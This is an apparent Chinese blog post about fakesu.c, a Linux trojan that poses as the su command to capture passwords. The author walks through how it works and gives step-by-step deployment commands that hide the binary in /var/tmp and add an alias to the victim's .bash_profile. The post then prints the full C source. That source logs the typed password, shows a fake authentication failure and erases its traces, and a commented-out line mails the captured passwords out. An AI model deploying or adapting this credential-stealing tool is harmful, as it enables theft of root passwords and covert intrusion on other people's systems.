fakesu-记录linux的su命令口令

听说有个叫做fakesu.c的程序可以记录linux的su命令的口令,很是神奇,于是找来看看。找到源码后一看,才发觉原来如此简单,就是利用alias命令将自己写的程序命名为su,这样用户再次登录后使用的su便不是正牌的su,而是一个冒牌货。当用户执行su命令输入口令后,无论正确与否,冒牌货都将口令写入到一个文件中,或是以邮件的形式发送给攻击者,然后冒牌货会删除自己,以免被发现。若是被发现,用户及时地修改了口令,攻击者便会功亏一篑。

使用步骤如下:

  1. 修改源码中宏定义USERNAME为目标用户名
  2. gcc -o .su fakesu.c
  3. rm fakesu.c
  4. mv .su /var/tmp/su
  5. cp .bash_profile .wgetrc || echo > .wgetrc
  6. echo “alias su=/var/tmp/su”>>.bash_profile

查看记录到的口令:

    cat /var/tmp/.pwds

需要说明的是,冒牌货删除自己后会创建符号连接:

    ln -s /bin/su /var/tmp/su

这样在此之后,用户再执行su命令,使用的便是真正的su命令了。
创建符号连接是因为就算将.bash_profile文件修改回来了,也要等用户下次登录才生效,在这里

    unalias su

    source .bash_profile

均无法取消别名。

附:fakesu.c的源码:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #define USERNAME "werner"

    int main(int argc, char *argv[]){

        FILE *fp;
        char *user;
        char *pass;
        char filex[100];
        char clean[1000];

        sprintf(filex,"/var/tmp/.pwds");
        sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
                      "mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
                      "rm -f /home/"USERNAME"/.wgetrc;"
                      "ln -s /bin/su /var/tmp/su;");

        if(argc==1) user="root";
        if(argc==2) user=argv[1];
        if(argc>2){
           if(strcmp(argv[1], "-l")==0)
             user=argv[2];
           else user=argv[1];}

        fprintf(stdout,"Password: ");
        pass=getpass("");
        system("sleep 3");
        fprintf(stdout,"su: Authentication failure\n");

        if ((fp=fopen(filex,"w")) != NULL)
        {
          fprintf(fp, "%s:%s\n", user, pass);
          fclose(fp);
        }

        system(clean);

        /* If you want password in your e-mail uncomment this line: */
        // system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail USERNAME@qq.com");

        return 0;
    }

发表评论

电子邮件地址不会被公开。 必填项已用*标注

11 − 8 =